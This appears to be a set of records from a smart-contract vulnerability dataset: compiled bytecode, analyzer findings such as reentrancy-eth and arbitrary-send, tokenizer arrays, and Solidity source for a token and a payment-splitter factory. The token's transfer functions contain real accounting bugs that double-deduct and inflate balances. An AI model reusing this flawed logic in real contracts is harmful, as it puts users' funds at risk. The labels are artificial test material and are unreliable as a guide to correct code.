f3660046125a1565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b34801561063657600080fd5b506102496106453660046123c0565b611091565b34801561065657600080fd5b5061024961066536600461247a565b611140565b34801561067657600080fd5b50610249610685366004612584565b61117e565b34801561069657600080fd5b506102496106a5366004612584565b6111d8565b3480156106b657600080fd5b506102ad6106c5366004612584565b6001600160a01b031660009081526001602052604090205460ff1690565b6000546001600160a01b03163314806107005750610700336106c5565b6107255760405162461bcd60e51b815260040161071c906125cf565b60405180910390fd5b60005b815181101561078d576001600a600084848151811061074957610749612606565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061078581612632565b915050610728565b5050565b600061079e338484611302565b5060015b92915050565b6000546001600160a01b03163314806107c557506107c5336106c5565b6107e15760405162461bcd60e51b815260040161071c906125cf565b600c91909155600d55565b60006107f9848484611426565b61084b8433610846856040518060600160405280602881526020016127a6602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190611b1d565b611302565b5060019392505050565b6000546001600160a01b03163314806108725750610872336106c5565b61088e5760405162461bcd60e51b815260040161071c906125cf565b60128054911515600160c01b0260ff60c01b19909216919091179055565b6000546001600160a01b03163314806108c957506108c9336106c5565b6108e55760405162461bcd60e51b815260040161071c906125cf565b604051600090339047908381818185875af1925050503d8060008114610927576040519150601f19603f3d011682016040523d82523d6000602084013e61092c565b606091505b505090508061093a57600080fd5b50565b6000546001600160a01b031633148061095a575061095a336106c5565b6109765760405162461bcd60e51b815260040161071c906125cf565b601355565b6000546001600160a01b03163314806109985750610998336106c5565b6109b45760405162461bcd60e51b815260040161071c906125cf565b6012805460ff60a81b1916600160a81b17905560035415610c925730600090815260046020526040812054905b600354811015610b2a57610a3d6004600060038481548110610a0557610a05612606565b60009182526020808320909101546001600160a01b031683528281019390935260409182018120543082526004909352205490611b57565b306000818152600460205260409020919091556003805483908110610a6457610a64612606565b6000918252602082200154600380546001600160a01b03909216926000805160206127ce833981519152926004929087908110610aa357610aa3612606565b6000918252602080832091909101546001600160a01b0316835282810193909352604091820190205490519081520160405180910390a360006004600060038481548110610af357610af3612606565b60009182526020808320909101546001600160a01b0316835282019290925260400190205580610b2281612632565b9150506109e1565b5030600090815260046020526040812054610b4690839061264d565b60408051600280825260608201835292935060009290916020830190803683370190505090503081600081518110610b8057610b80612606565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610bd9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bfd9190612664565b81600181518110610c1057610c10612606565b6001600160a01b03928316602091820292909201015260115460105460405163791ac94760e01b81529183169263791ac94792610c5c92879260009288929091169042906004016126c5565b600060405180830381600087803b158015610c7657600080fd5b505af1158015610c8a573d6000803e3d6000fd5b505050505050505b6012805460ff60a81b19169055565b6000546001600160a01b0316331480610cbe5750610cbe336106c5565b610cda5760405162461bcd60e51b815260040161071c906125cf565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b6000546001600160a01b0316331480610d225750610d22336106c5565b610d3e5760405162461bcd60e51b815260040161071c906125cf565b60005b83811015610da557610d9233868684818110610d5f57610d5f612606565b9050602002016020810190610d749190612584565b858585818110610d8657610d86612606565b90506020020135611bbd565b5080610d9d81612632565b915050610d41565b5050505050565b6000546001600160a01b0316331480610dc95750610dc9336106c5565b610de55760405162461bcd60e51b815260040161071c906125cf565b6001600160a01b03166000908152600a60205260409020805460ff19169055565b6000546001600160a01b0316331480610e235750610e23336106c5565b610e3f5760405162461bcd60e51b815260040161071c906125cf565b60128054911515600160b01b0260ff60b01b19909216919091179055565b6000546001600160a01b0316331480610e7a5750610e7a336106c5565b610e965760405162461bcd60e51b815260040161071c906125cf565b610ea06000611c91565b565b6000546001600160a01b0316331480610ebf5750610ebf336106c5565b610edb5760405162461bcd60e51b815260040161071c906125cf565b601555565b6000546001600160a01b0316331480610efd5750610efd336106c5565b610f195760405162461bcd60e51b815260040161071c906125cf565b6012805460ff60b81b198116600160b81b9182900460ff1615909102179055565b6000546001600160a01b0316331480610f575750610f57336106c5565b610f735760405162461bcd60e51b815260040161071c906125cf565b601755565b600061079e338484611426565b6000546001600160a01b0316331480610fa25750610fa2336106c5565b610fbe5760405162461bcd60e51b815260040161071c906125cf565b6001600160a01b03166000908152600160208190526040909120805460ff19169091179055565b6000546001600160a01b03163314806110025750611002336106c5565b61101e5760405162461bcd60e51b815260040161071c906125cf565b3060009081526004602052604090205461093a81611ce1565b6000546001600160a01b03163314806110545750611054336106c5565b6110705760405162461bcd60e51b815260040161071c906125cf565b6012805464ff000000ff60a01b191664010000000160a01b17905543601455565b6000546001600160a01b03163314806110ae57506110ae336106c5565b6110ca5760405162461bcd60e51b815260040161071c906125cf565b60405163a9059cbb60e01b8152336004820152602481018290526001600160a01b0383169063a9059cbb906044016020604051808303816000875af1158015611117573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061113b9190612701565b505050565b6000546001600160a01b031633148061115d575061115d336106c5565b6111795760405162461bcd60e51b815260040161071c906125cf565b601655565b6000546001600160a01b031633148061119b575061119b336106c5565b6111b75760405162461bcd60e51b815260040161071c906125cf565b6001600160a01b03166000908152600160205260409020805460ff19169055565b6000546001600160a01b03163314806111f557506111f5336106c5565b6112115760405162461bcd60e51b815260040161071c906125cf565b6001600160a01b0381166112765760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161071c565b60006007600061128e6000546001600160a01b031690565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790556112bf81611c91565b6001600760006112d76000546001600160a01b031690565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905550565b6001600160a01b0383166113645760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161071c565b6001600160a01b0382166113c55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161071c565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661148a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161071c565b6001600160a01b0382166114ec5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161071c565b6000811161154e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161071c565b6001600160a01b03821660009081526007602052604090205460ff1615801561159057506001600160a01b03831660009081526007602052604090205460ff16155b156119f857601254600160a01b900460ff166115ee5760405162461bcd60e51b815260206004820152601e60248201527f544f4b454e3a2054726164696e67206e6f742079657420737461727465640000604482015260640161071c565b6015548111156116405760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161071c565b6001600160a01b0383166000908152600a602052604090205460ff1615801561168257506001600160a01b0382166000908152600a602052604090205460ff16155b6116da5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161071c565b601254600160c01b900460ff16156117ff57600060145411801561170b57506012546001600160a01b038481169116145b801561173057506001600160a01b03831660009081526009602052604090205460ff16155b801561175557506001600160a01b03821660009081526009602052604090205460ff16155b156117ff5760135460145461176a904361264d565b116117ff576001600160a01b03821660009081526008602052604090205460ff166117db57600380546001810182556000919091527fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85b0180546001600160a01b0319166001600160a01b0384161790555b6001600160a01b0382166000908152600860205260409020805460ff191660011790555b6012546001600160a01b0383811691161461196d576012546001600160a01b03848116911614801561183a5750601254600160b81b900460ff165b156118e75732600090815260056020526040902054429061185c9060b461271e565b10801561188c57506001600160a01b038216600090815260056020526040902054429061188a9060b461271e565b105b6118e75760405162461bcd60e51b815260206004820152602660248201527f544f4b454e3a2033206d696e7574657320636f6f6c646f776e206265747765656044820152656e206275797360d01b606482015260840161071c565b6016548161190a846001600160a01b031660009081526004602052604090205490565b611914919061271e565b1061196d5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161071c565b30600090815260046020526040902054601754811080159061198f5760175491505b8080156119a65750601254600160a81b900460ff16155b80156119c057506012546001600160a01b03868116911614155b80156119d55750601254600160b01b900460ff165b156119f5576119e382611ce1565b4780156119f3576119f347611ea1565b505b50505b6001600160a01b03831660009081526007602052604090205460019060ff1680611a3a57506001600160a01b03831660009081526007602052604090205460ff165b80611a6c57506012546001600160a01b03858116911614801590611a6c57506012546001600160a01b03848116911614155b15611a7957506000611ae7565b6012546001600160a01b038581169116148015611aa457506011546001600160a01b03848116911614155b15611ab057600c54600e555b6012546001600160a01b038481169116148015611adb57506011546001600160a01b03858116911614155b15611ae757600d54600e555b3260009081526005602052604080822042908190556001600160a01b0386168352912055611b1784848484611f01565b50505050565b60008184841115611b415760405162461bcd60e51b815260040161071c919061236b565b506000611b4e848661264d565b95945050505050565b600080611b64838561271e565b905083811015611bb65760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161071c565b9392505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600490915291822054611c0e918490611b1d565b6001600160a01b038086166000908152600460205260408082209390935590851681522054611c3d9083611b57565b6001600160a01b0380851660008181526004602052604090819020939093559151908616906000805160206127ce83398151915290611c7f9086815260200190565b60405180910390a35060019392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6012805460ff60a81b1916600160a81b1790556000611d0c6064611d06846055611f22565b90611fa1565b90506000611d1a828461264d565b60408051600280825260608201835292935047926000926020830190803683370190505090503081600081518110611d5457611d54612606565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611dad573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611dd19190612664565b81600181518110611de457611de4612606565b6001600160a01b03928316602091820292909201015260115460405163791ac94760e01b815291169063791ac94790611e2a9087906000908690309042906004016126c5565b600060405180830381600087803b158015611e4457600080fd5b505af1158015611e58573d6000803e3d6000fd5b505050506000611e718347611fe390919063ffffffff16565b9050611e8c84611e876064611d0685600f611f22565b612025565b50506012805460ff60a81b1916905550505050565b6010546040516000916001600160a01b03169083908381818185875af1925050503d8060008114611eee576040519150601f19603f3d011682016040523d82523d6000602084013e611ef3565b606091505b505090508061078d57600080fd5b80611f1757611f11848484611bbd565b50611b17565b611b178484846120b7565b600082611f31575060006107a2565b6000611f3d8385612736565b905082611f4a8583612755565b14611bb65760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161071c565b6000611bb683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506121aa565b6000611bb683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b1d565b60115460405163f305d71960e01b8152306004820152602481018490526000604482018190526064820181905260848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af1158015612092573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610da59190612777565b60006120c384836121d8565b905061212b8260405180604001604052806014815260200173496e73756666696369656e742042616c616e636560601b81525060046000886001600160a01b03166001600160a01b0316815260200190815260200160002054611b1d9092919063ffffffff16565b6001600160a01b03808616600090815260046020526040808220939093559085168152205461215a9082611b57565b6001600160a01b0380851660008181526004602052604090819020939093559151908616906000805160206127ce8339815191529061219c9085815260200190565b60405180910390a350505050565b600081836121cb5760405162461bcd60e51b815260040161071c919061236b565b506000611b4e8486612755565b6000806121f56064611d06600e5486611f2290919063ffffffff16565b306000908152600460205260409020549091506122129082611b57565b30600081815260046020526040908190209290925590516001600160a01b038616906000805160206127ce833981519152906122519085815260200190565b60405180910390a36122638382611fe3565b949350505050565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461093a57600080fd5b80356122a181612281565b919050565b600060208083850312156122b957600080fd5b823567ffffffffffffffff808211156122d157600080fd5b818501915085601f8301126122e557600080fd5b8135818111156122f7576122f761226b565b8060051b604051601f19603f8301168101818110858211171561231c5761231c61226b565b60405291825284820192508381018501918883111561233a57600080fd5b938501935b8285101561235f5761235085612296565b8452938501939285019261233f565b98975050505050505050565b600060208083528351808285015260005b818110156123985785810183015185820160400152820161237c565b818111156123aa576000604083870101525b50601f01601f1916929092016040019392505050565b600080604083850312156123d357600080fd5b82356123de81612281565b946020939093013593505050565b600080604083850312156123ff57600080fd5b50508035926020909101359150565b60008060006060848603121561242357600080fd5b833561242e81612281565b9250602084013561243e81612281565b929592945050506040919091013590565b801515811461093a57600080fd5b60006020828403121561246f57600080fd5b8135611bb68161244f565b60006020828403121561248c57600080fd5b5035919050565b600080604083850312156124a657600080fd5b82356124b181612281565b915060208301356124c18161244f565b809150509250929050565b60008083601f8401126124de57600080fd5b50813567ffffffffffffffff8111156124f657600080fd5b6020830191508360208260051b850101111561251157600080fd5b9250929050565b6000806000806040858703121561252e57600080fd5b843567ffffffffffffffff8082111561254657600080fd5b612552888389016124cc565b9096509450602087013591508082111561256b57600080fd5b50612578878288016124cc565b95989497509550505050565b60006020828403121561259657600080fd5b8135611bb681612281565b600080604083850312156125b457600080fd5b82356125bf81612281565b915060208301356124c181612281565b6020808252601e908201527f4f776e61626c653a2063616c6c6572206973206e6f7420616c6c6f7765640000604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156126465761264661261c565b5060010190565b60008282101561265f5761265f61261c565b500390565b60006020828403121561267657600080fd5b8151611bb681612281565b600081518084526020808501945080840160005b838110156126ba5781516001600160a01b031687529582019590820190600101612695565b509495945050505050565b85815284602082015260a0604082015260006126e460a0830186612681565b6001600160a01b0394909416606083015250608001529392505050565b60006020828403121561271357600080fd5b8151611bb68161244f565b600082198211156127315761273161261c565b500190565b60008160001904831182151516156127505761275061261c565b500290565b60008261277257634e487b7160e01b600052601260045260246000fd5b500490565b60008060006060848603121561278c57600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220dca2a380850299d8f34d054ac06c1d8edbf7bd62422a4b2a1d04740978837a4064736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'tx-origin', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 22022, 2094, 2475, 16409, 12879, 2094, 2692, 2509, 26337, 2509, 19797, 21472, 2509, 27421, 2475, 2497, 20958, 28154, 28154, 18939, 2575, 2278, 16147, 2575, 2278, 2575, 1013, 1008, 1008, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1064, 1064, 1064, 1013, 1035, 1033, 1013, 1064, 1064, 1064, 1064, 1013, 1035, 1033, 1064, 1032, 1064, 1064, 1064, 1032, 1064, 1064, 1064, 1064, 1064, 1064, 1013, 1031, 1035, 1064, 1051, 1064, 1064, 1064, 1064, 1013, 1031, 1035, 1064, 1035, 1064, 1064, 1064, 1064, 1035, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,092
0x963525f365947785d164f2abd87a29a0b4cb1431
pragma solidity ^0.4.8; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function toUINT112(uint256 a) internal constant returns(uint112) { assert(uint112(a) == a); return uint112(a); } function toUINT120(uint256 a) internal constant returns(uint120) { assert(uint120(a) == a); return uint120(a); } function toUINT128(uint256 a) internal constant returns(uint128) { assert(uint128(a) == a); return uint128(a); } } contract Token{ function totalSupply() constant returns (uint256 supply) {} function balanceOf(address _owner) constant returns (uint256 balance) {} function transfer(address _to, uint256 _value) returns (bool success) {} function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} function approve(address _spender, uint256 _value) returns (bool success) {} function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { using SafeMath for uint256; function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (_to == 0x0) throw; if (_value <= 0) throw; if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[msg.sender] = SafeMath.sub(balances[msg.sender], _value); balances[_to] += SafeMath.add(balances[_to], _value); Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (_to == 0x0) throw; if (_value <= 0) throw; if (balances[_from] < _value) throw; // Check if the sender has enough if ( SafeMath.sub(balances[_to], _value) < balances[_to] ) throw; // Check for overflows if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] = SafeMath.add( balances[_to],_value); balances[_from] = SafeMath.sub(balances[_from], _value); allowed[_from][msg.sender] = SafeMath.sub(allowed[_from][msg.sender], _value); Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract HumanStandardToken is StandardToken { using SafeMath for uint256; function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H0.1'; //human 0.1 standard. Just an arbitrary versioning scheme. function HumanStandardToken( uint256 _initialAmount, string _tokenName, uint8 _decimalUnits, string _tokenSymbol ) { balances[msg.sender] = _initialAmount; // Give the creator all initial tokens totalSupply = _initialAmount; // Update total supply name = _tokenName; // Set the name for display purposes decimals = _decimalUnits; // Amount of decimals for display purposes symbol = _tokenSymbol; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
0x6080604052600436106100955763ffffffff60e060020a60003504166306fdde0381146100a7578063095ea7b31461013157806318160ddd1461016957806323b872dd14610190578063313ce567146101ba57806354fd4d50146101e557806370a08231146101fa57806395d89b411461021b578063a9059cbb14610230578063cae9ca5114610254578063dd62ed3e146102bd575b3480156100a157600080fd5b50600080fd5b3480156100b357600080fd5b506100bc6102e4565b6040805160208082528351818301528351919283929083019185019080838360005b838110156100f65781810151838201526020016100de565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561013d57600080fd5b50610155600160a060020a0360043516602435610372565b604080519115158252519081900360200190f35b34801561017557600080fd5b5061017e6103d9565b60408051918252519081900360200190f35b34801561019c57600080fd5b50610155600160a060020a03600435811690602435166044356103df565b3480156101c657600080fd5b506101cf6105ad565b6040805160ff9092168252519081900360200190f35b3480156101f157600080fd5b506100bc6105b6565b34801561020657600080fd5b5061017e600160a060020a0360043516610611565b34801561022757600080fd5b506100bc61062c565b34801561023c57600080fd5b50610155600160a060020a0360043516602435610687565b34801561026057600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610155948235600160a060020a03169460248035953695946064949201919081908401838280828437509497506107849650505050505050565b3480156102c957600080fd5b5061017e600160a060020a036004358116906024351661091f565b6003805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561036a5780601f1061033f5761010080835404028352916020019161036a565b820191906000526020600020905b81548152906001019060200180831161034d57829003601f168201915b505050505081565b336000818152600160209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b60025481565b6000600160a060020a03831615156103f657600080fd5b6000821161040357600080fd5b600160a060020a03841660009081526020819052604090205482111561042857600080fd5b600160a060020a03831660009081526020819052604090205461044b818461094a565b101561045657600080fd5b600160a060020a03841660009081526020819052604090205482118015906104a15750600160a060020a03841660009081526001602090815260408083203384529091529020548211155b80156104ad5750600082115b156105a257600160a060020a0383166000908152602081905260409020546104d5908361095c565b600160a060020a038085166000908152602081905260408082209390935590861681522054610504908361094a565b600160a060020a038516600090815260208181526040808320939093556001815282822033835290522054610539908361094a565b600160a060020a03808616600081815260016020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060016105a6565b5060005b9392505050565b60045460ff1681565b6006805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561036a5780601f1061033f5761010080835404028352916020019161036a565b600160a060020a031660009081526020819052604090205490565b6005805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561036a5780601f1061033f5761010080835404028352916020019161036a565b6000600160a060020a038316151561069e57600080fd5b600082116106ab57600080fd5b3360009081526020819052604090205482118015906106ca5750600082115b1561077c573360009081526020819052604090208054839003908190556106f1908361094a565b3360009081526020819052604080822092909255600160a060020a0385168152205461071d908361095c565b600160a060020a03841660008181526020818152604091829020805490940190935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35060016103d3565b5060006103d3565b336000818152600160209081526040808320600160a060020a038816808552908352818420879055815187815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a383600160a060020a031660405180807f72656365697665417070726f76616c28616464726573732c75696e743235362c81526020017f616464726573732c627974657329000000000000000000000000000000000000815250602e019050604051809103902060e060020a9004338530866040518563ffffffff1660e060020a0281526004018085600160a060020a0316600160a060020a0316815260200184815260200183600160a060020a0316600160a060020a03168152602001828051906020019080838360005b838110156108c45781810151838201526020016108ac565b50505050905090810190601f1680156108f15780820380516001836020036101000a031916815260200191505b509450505050506000604051808303816000875af192505050151561091557600080fd5b5060019392505050565b600160a060020a03918216600090815260016020908152604080832093909416825291909152205490565b60008282111561095657fe5b50900390565b6000828201838110156105a657fe00a165627a7a72305820c52f888efcc502dc0fcb4b89527caed4ceb1de9f51f4154f840eaa28d998bb6f0029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 19481, 17788, 2546, 21619, 28154, 22610, 2581, 27531, 2094, 16048, 2549, 2546, 2475, 7875, 2094, 2620, 2581, 2050, 24594, 2050, 2692, 2497, 2549, 27421, 16932, 21486, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 1022, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 3647, 18900, 2232, 1008, 1030, 16475, 8785, 3136, 2007, 3808, 14148, 2008, 5466, 2006, 7561, 1008, 1013, 3075, 3647, 18900, 2232, 1063, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5377, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1008, 1038, 1025, 20865, 1006, 1037, 1027, 1027, 1014, 1064, 1064, 1039, 1013, 1037, 1027, 1027, 1038, 1007, 1025, 2709, 1039, 1025, 1065, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,093
0x963573bFA1D4406147c7258C4bec4D1B6fcb588C
//SPDX-License-Identifier: Unlicense pragma solidity ^0.8.0; import "./CustomPS.sol"; import "./CloneFactory.sol"; contract MasterPS is CloneFactory { address public masterContract; CustomPS[] public pses; event PSCreated(address ps); constructor(address _masterContract){ masterContract = _masterContract; } function createPS(address[] memory addresses, uint256[] memory shares) public { CustomPS ps = CustomPS( createClone(masterContract) ); ps.init(addresses, shares); pses.push(ps); emit PSCreated(address(ps)); } } //SPDX-License-Identifier: Unlicense pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/Context.sol"; contract CustomPS is Context { bool public initialized; event PayeeAdded(address account, uint256 shares); event PaymentReleased(address to, uint256 amount); event ERC20PaymentReleased(IERC20 indexed token, address to, uint256 amount); event PaymentReceived(address from, uint256 amount); uint256 private _totalShares; uint256 private _totalReleased; mapping(address => uint256) private _shares; mapping(address => uint256) private _released; address[] private _payees; mapping(IERC20 => uint256) private _erc20TotalReleased; mapping(IERC20 => mapping(address => uint256)) private _erc20Released; /** * @dev Creates an instance of `PaymentSplitter` where each account in `payees` is assigned the number of shares at * the matching position in the `shares` array. * * All addresses in `payees` must be non-zero. Both arrays must have the same non-zero length, and there must be no * duplicates in `payees`. */ function init(address[] memory payees, uint256[] memory shares_) public { require(!initialized, "Only called once"); require(payees.length == shares_.length, "PaymentSplitter: payees and shares length mismatch"); require(payees.length > 0, "PaymentSplitter: no payees"); for (uint256 i = 0; i < payees.length; i++) { _addPayee(payees[i], shares_[i]); } initialized = true; } /** * @dev The Ether received will be logged with {PaymentReceived} events. Note that these events are not fully * reliable: it's possible for a contract to receive Ether without triggering this function. This only affects the * reliability of the events, and not the actual 